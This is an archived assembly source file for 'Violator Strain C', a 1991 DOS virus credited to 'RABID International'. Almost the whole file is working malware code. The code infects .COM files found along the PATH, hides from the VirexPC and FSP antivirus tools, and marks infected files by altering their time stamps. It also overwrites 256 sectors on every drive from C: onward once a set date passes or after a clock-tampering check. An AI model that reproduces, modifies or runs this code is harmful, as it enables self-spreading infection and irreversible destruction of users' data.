home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VIOL-C.ASM < prev    next >
Assembly Source File  |  1991-04-24  |  16KB  |  442 lines

  1. ;
  2. ; Violator Strain C - "Violator strikes again..."
  3. ;
  4. ; Written by The High Evolutionary
  5. ; RABID International Development Corp.
  6. ;
  7.  
  8. ;
  9. ; Here are the equates for when the virus will destroy media
  10. ;
  11.  
  12. month    equ    6            ;Set month to June
  13. day    equ    22            ;Set day to the 22nd
  14. year    equ    1991            ;Set year to 1991
  15.  
  16. sectors    equ    256            ;Fry 256 sectors on the diskette
  17. lastdrv    equ    26            ;Set lastdrive to be fried here
  18.  
  19.  
  20. CODE    SEGMENT
  21.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  22.         ORG     $+0100H
  23.  
  24. @write    macro    drive,sec,buf
  25.     pushf                    ; Push all flags onto the stack
  26.     mov    al,drive            ; Select drive to write
  27.     mov    cx,sec                 ; Choose amount of sectors
  28.     mov    dx,0                ; Set format to start at sec. 0
  29.     mov    bx,offset buf            ; Set format to have intro
  30.                         ; string imbedded in sector 0
  31.     int    26h                ; Call BIOS to write drive
  32.     popf                    ; Restore the flags we pushed
  33. endm    
  34.  
  35.  
  36. violator:
  37.         JMP     virus
  38.         NOP
  39.         NOP
  40.         NOP
  41.         NOP
  42.         NOP
  43.         NOP
  44.         NOP
  45.         NOP
  46.         NOP
  47.         NOP
  48.         NOP
  49.         NOP
  50.         NOP
  51.         NOP
  52.         NOP
  53.  
  54. v_start equ     $
  55.  
  56. virus:  PUSH    CX
  57.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  58.                                         ; The 2nd and 3rd bytes get modified.
  59.         CLD                             ;Pointers will be auto INcremented
  60.         MOV     SI,DX                   ;Access data as offset from SI
  61.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  62.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
  63.         MOV     CX,3
  64.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  65.         MOV     SI,DX                   ;Keep SI pointing to the data area
  66. ;
  67. ; This routine here will check to see if FSP or VirexPC is active. If it is,
  68. ; then we will not run as to avoid detection...
  69. ;
  70. ; This is done by using some wierd undocumented DOS call which I've never seen
  71. ; before, but nonetheless, it does the job...
  72. ;
  73.     
  74.     mov    ax,0ff0fh        ;Check memory marker
  75.     int    21h
  76.     cmp    ax,101h            ;Is the marker for VirexPC/FSP resident
  77.  
  78.     jne    year_check        ;No? Continue with the virus
  79.     jmp    quit            ;Yes! Terminate the virus
  80.  
  81. year_check:
  82.     MOV    AH,2AH                ; Get date info
  83.     INT    21h                ;
  84.     CMP    CX,year                ; Check if it's (year)
  85.     jb    get_space            ; Not the year, then must be an
  86.                         ; XT...
  87.     JGE    month_check            ; Yes? Check the month
  88.     JMP    do_shit                ; No? Go to infection routine
  89.  
  90. month_check:
  91.     mov    ah,2ah
  92.     int    21h
  93.     CMP    DH,month            ; Check if it's (month)
  94.     JGE    day_check            ; Yeah? Check the day
  95.     JMP    do_shit                ; No? Infect a phile
  96.  
  97. day_check:
  98.     CMP     DL,day                ; Check if it's (day)
  99.     JGE    fry_drives            ; Yeah? Kill all drives
  100.     JMP    do_shit                ; No? Infect a poor guy!
  101.  
  102. get_space:
  103.     cmp    cx,1990                ; Did we change the clock?
  104.     je    was_changed            ; Yes we did. Continue...
  105. ;
  106. ; We only get here if the date is not 1990
  107. ;
  108.     mov    ah,2bh            
  109.     mov    cx,1990                ; Set date to 1990
  110.     int    21h
  111.     mov    ah,2dh
  112.     mov    cl,1                ; Set minutes to 1
  113.     int    21h    
  114.  
  115. ;
  116. ; We only get here is the date is 1990. Check clock...
  117. ;
  118.  
  119. was_changed:
  120.     mov    ah,2ch
  121.     int    21h                ; Get time
  122.     cmp    cl,15                ; 15 minutes...
  123.     jae    fry                ; Have we been run after 15
  124.                         ; minutes of usage? Yes! Fry!
  125.     jmp    month_check            ; No! Continue...
  126.  
  127. ;
  128. ; Only print this if it's June 22nd, 1991
  129. ;
  130.  
  131. fry_drives:
  132.     mov    ah,9
  133.     mov    dx,si                ; Load DX with SI segment
  134.     add    dx,strike            ; Print out a message
  135.     int    21h
  136.  
  137. fry:    cmp    byte ptr [si+drv],lastdrv    ; Check to see if the last
  138.                         ; drive is fried
  139.     ja    do_shit             ; If yeah. Then gedoudahere
  140.     @write    [si+drv],256,intro        ; No? Then fry the drive...
  141.     inc    byte ptr [si+drv]        ; Increment for the next drive
  142.     jmp    fry                ; Then go up and fry another
  143.  
  144. do_shit:PUSH    ES                ; Push ES onto the stack
  145.         MOV     AH,2FH            
  146.         INT     21H
  147.         MOV     [SI+old_dta],BX
  148.         MOV     [SI+old_dts],ES         ;Save the DTA address from ES
  149.         POP     ES            ;Restore the original ES segment
  150.         MOV     DX,dta                  ;Offset of new DTA in virus data area
  151.         ADD     DX,SI                   ;Compute DTA address
  152.         MOV     AH,1AH
  153.         INT     21H                     ;Set new DTA to inside our own code
  154.         PUSH    ES            ;Push ES onto the stack
  155.         PUSH    SI            ;Push the source index
  156.         MOV     ES,DS:2CH
  157.         MOV     DI,0                    ;ES:DI points to environment
  158.  
  159. find_path:
  160.         POP     SI
  161.         PUSH    SI                      ;Get SI back
  162.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  163.         LODSB
  164.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  165.         REPNZ   SCASB                   ;Search for first character
  166.         MOV     CX,4
  167.  
  168. check_next_4:
  169.         LODSB
  170.         SCASB
  171.         JNZ     find_path               ;If not all there, abort & start over
  172.         LOOP    check_next_4            ;Loop to check the next character
  173.  
  174.         POP     SI
  175.         POP     ES
  176.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  177.         MOV     DI,SI
  178.         ADD     DI,wrk_spc              ;File name workspace
  179.         MOV     BX,SI                   ;Save a copy of SI
  180.         ADD     SI,wrk_spc              ;Point SI to workspace
  181.         MOV     DI,SI                   ;Point DI to workspace
  182.         JMP     SHORT   slash_ok
  183.  
  184. set_subdir:
  185.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  186.         JNZ     found_subdir            ;If not, there are more subdirectories
  187.         JMP     all_done                ;Else, we're all done
  188.  
  189. found_subdir:
  190.         PUSH    DS
  191.         PUSH    SI
  192.         MOV     DS,ES:2CH               ;DS points to environment segment
  193.         MOV     DI,SI
  194.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  195.         ADD     DI,wrk_spc              ;DI points to file name workspace
  196.  
  197. move_subdir:
  198.         LODSB                           ;Get character
  199.         CMP     AL,';'                  ;Is it a ';' delimiter?
  200.         JZ      moved_one               ;Yes, found another subdirectory
  201.         CMP     AL,0                    ;End of PATH string?
  202.         JZ      moved_last_one          ;Yes
  203.         STOSB                           ;Save PATH marker into [DI]
  204.         JMP     SHORT   move_subdir
  205.  
  206. moved_last_one:
  207.         MOV     SI,0
  208.  
  209. moved_one:
  210.         POP     BX                      ;Pointer to virus data area
  211.         POP     DS                      ;Restore DS
  212.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  213.         CMP     CH,'\'                  ;Ends with "\"?
  214.         JZ      slash_ok                ;If yes
  215.         MOV     AL,'\'                  ;Add one, if not
  216.         STOSB
  217.  
  218. slash_ok:
  219.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  220.         MOV     SI,BX                   ;Restore SI
  221.         ADD     SI,f_spec               ;Point to "*.COM"
  222.         MOV     CX,6            ;Set to read in 6 bytes
  223.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  224.         MOV     SI,BX            
  225.         MOV     AH,4EH
  226.         MOV     DX,wrk_spc
  227.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  228.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  229.         INT     21H
  230.         JMP     SHORT   find_first
  231.  
  232. find_next:
  233.         MOV     AH,4FH
  234.         INT     21H
  235.  
  236. find_first:
  237.         JNB     found_file              ;Jump if we found it
  238.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  239.  
  240. found_file:
  241.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  242.         AND     AL,1CH                  ;Mask to remove all but seconds
  243.         CMP     AL,1CH                  ;56 seconds -> already infected
  244.         JZ      find_next               ;If so, go find another file
  245.  
  246. ;******************************************************************************
  247. ;Is the file too long? If it's 64000 bytes, then don't infect it
  248. ;******************************************************************************
  249.  
  250.         CMP     WORD PTR [SI+dta_len],(0FA00H-virlen) 
  251.                     ;Is the file too large
  252. ;
  253. ; Here we take into acount that the file will fit into even the largest legal
  254. ; COM file...
  255. ;
  256.  
  257.         JA      find_next               ;If too long, find another one
  258.  
  259. ;******************************************************************************
  260. ;Is it too short? If it's 1500 bytes or smaller, then don't infect it
  261. ;******************************************************************************
  262.  
  263.         CMP     WORD PTR [SI+dta_len],5dcH 
  264.         JB      find_next               ;Then go find another one
  265.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  266.         PUSH    SI                      ;Save SI
  267.         ADD     SI,dta_nam              ;Point SI to file name
  268.  
  269. more_chars:
  270.         LODSB
  271.         STOSB
  272.         CMP     AL,0
  273.         JNZ     more_chars              ;Move characters until we find a 00
  274.         POP     SI
  275.         MOV     AX,OFFSET 4300H
  276.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  277.         ADD     DX,SI
  278.         INT     21H
  279.         MOV     [SI+old_att],CX         ;Save the old attributes
  280.         MOV     AX,OFFSET 4301H         ;Set attributes
  281.         AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
  282.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  283.         ADD     DX,SI                   ;Point to \path\name
  284.         INT     21H
  285.         MOV     AX,OFFSET 3D02H         ;Read/Write
  286.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  287.         ADD     DX,SI                   ;Point to \path\name
  288.         INT     21H
  289.         JNB     opened_ok               ;If file was opened OK
  290.         JMP     fix_attr                ;If it failed, restore the attributes
  291.  
  292. opened_ok:
  293.         MOV     BX,AX
  294.         MOV     AX,OFFSET 5700H
  295.         INT     21H
  296.         MOV     [SI+old_tim],CX         ;Save file time
  297.         MOV     [SI+ol_date],DX         ;Save the date
  298.         MOV     AH,2CH
  299.         INT     21H
  300.  
  301. infect:
  302.         MOV     AH,3FH
  303.         MOV     CX,3
  304.         MOV     DX,first_3
  305.         ADD     DX,SI
  306.         INT     21H                 ;Save first 3 bytes into the data area
  307.         JB      fix_time_stamp      ;Quit, if read failed
  308.         CMP     AX,3                ;Were we able to read all 3 bytes?
  309.         JNZ     fix_time_stamp      ;Quit, if not
  310.         MOV     AX,OFFSET 4202H
  311.         MOV     CX,0
  312.         MOV     DX,0
  313.         INT     21H
  314.         JB      fix_time_stamp      ;Quit, if it didn't work
  315.         MOV     CX,AX               ;DX:AX (long int) = file size
  316.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  317.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  318.         ADD     CX,OFFSET c_len_y
  319.         MOV     DI,SI               ;Point DI to virus data area
  320.         SUB     DI,OFFSET c_len_x
  321.                                 ;Point DI to reference vir_dat, at start of pgm
  322.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm
  323.         MOV     AH,40H
  324.         MOV     CX,virlen               ;Length of virus, in bytes
  325.         MOV     DX,SI
  326.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  327.                                         ;address of virus code in memory
  328.         INT     21H
  329.         JB      fix_time_stamp          ;Jump if error
  330.         CMP     AX,OFFSET virlen        ;All bytes written?
  331.         JNZ     fix_time_stamp          ;Jump if error
  332.         MOV     AX,OFFSET 4200H
  333.         MOV     CX,0
  334.         MOV     DX,0
  335.         INT     21H
  336.         JB      fix_time_stamp          ;Jump if error
  337.         MOV     AH,40H
  338.         MOV     CX,3
  339.         MOV     DX,SI                   ;Virus data area
  340.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  341.         INT     21H
  342.  
  343. fix_time_stamp:
  344.     MOV     DX,[SI+ol_date]         ;Old file date
  345.         MOV     CX,[SI+old_tim]         ;Old file time
  346.         AND     CX,OFFSET 0FFE0H
  347.         OR      CX,1CH 
  348.         MOV     AX,OFFSET 5701H
  349.         INT     21H
  350.         MOV     AH,3EH
  351.         INT     21H
  352.  
  353. fix_attr:
  354.         MOV     AX,OFFSET 4301H
  355.         MOV     CX,[SI+old_att]         ;Old Attributes
  356.         MOV     DX,wrk_spc
  357.         ADD     DX,SI                   ;DX points to \path\name in workspace
  358.         INT     21H
  359.  
  360. all_done:
  361.         PUSH    DS
  362.         MOV     AH,1AH
  363.         MOV     DX,[SI+old_dta]
  364.         MOV     DS,[SI+old_dts]
  365.         INT     21H
  366.         POP     DS
  367.  
  368. quit:
  369.         POP     CX
  370.         XOR     AX,AX
  371.         XOR     BX,BX
  372.         XOR     DX,DX
  373.         XOR     SI,SI
  374.         MOV     DI,OFFSET 0100H            ;Move offset 100h into DI
  375.         PUSH    DI                ;Push DI onto the stack
  376.         XOR     DI,DI                ;Zero it out
  377.         RET     0FFFFH                ;Jump to the location in DI
  378. ; This little trick is used to jump back to the beginning of the program after
  379. ; our JMP instruction. This is to return control to the host program.
  380. ;
  381.  
  382. vir_dat EQU     $
  383.  
  384. drv_    db    2            ;drv is the drive to be
  385.                     ;nuked! (Drive C:)
  386. intro_    DB    13,10
  387.     db    'Violator Strain C - (C) 1991 RABID Int''nl Development Corp.'
  388.     db    13,10
  389. strike_ db    13,10
  390.     db    'Violator strikes again...'
  391.     db    13,10,'$'
  392. olddta_ DW      0                       ;Old DTA offset
  393. olddts_ DW      0                       ;Old DTA segment
  394. oldtim_ DW      0                       ;Old Time
  395. oldate_ DW      0                       ;Old date
  396. oldatt_ DW      0                       ;Old file attributes
  397. first3_ EQU     $
  398.         INT     20H            ;3 byte equate to terminate program
  399.         NOP
  400. jmpop_  DB      0E9H                    ;Start of JMP instruction
  401. jmpdsp_ DW      0                       ;The displacement part
  402. envstr_ DB      'PATH='                 ;Find this in the environment
  403. fspec_  DB      '*.COM',0        ;What to infect???
  404. pathad_ DW      0                       ;Path address
  405. namptr_ DW      0                       ;Pointer to start of file name
  406. wrkspc_ DB      40h dup (0)
  407. dta_    DB      16h dup (0)             ;Temporary DTA goes here
  408. dtatim_ DW      0,0                     ;Time stamp in DTA
  409. dtalen_ DW      0,0                     ;File length in the DTA
  410. dtanam_ DB      0Dh dup (0)             ;File name in the DTA
  411.  
  412. lst_byt EQU     $                       
  413.  
  414. virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
  415. codelen =       vir_dat - v_start       ;Length of virus code, only
  416. c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
  417. c_len_y =       vir_dat - v_start + 100H
  418. drv    =    drv_    - vir_dat
  419. intro    =    intro_  - vir_dat
  420. strike    =    strike_ - vir_dat
  421. old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
  422. old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
  423. old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
  424. ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
  425. old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
  426. first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
  427. jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
  428. jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
  429. env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
  430. f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
  431. path_ad =       pathad_ - vir_dat       ;Displacement to the path address
  432. nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
  433. wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
  434. dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
  435. dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
  436. dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
  437. dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
  438.  
  439.         CODE    ENDS
  440. END     violator
  441.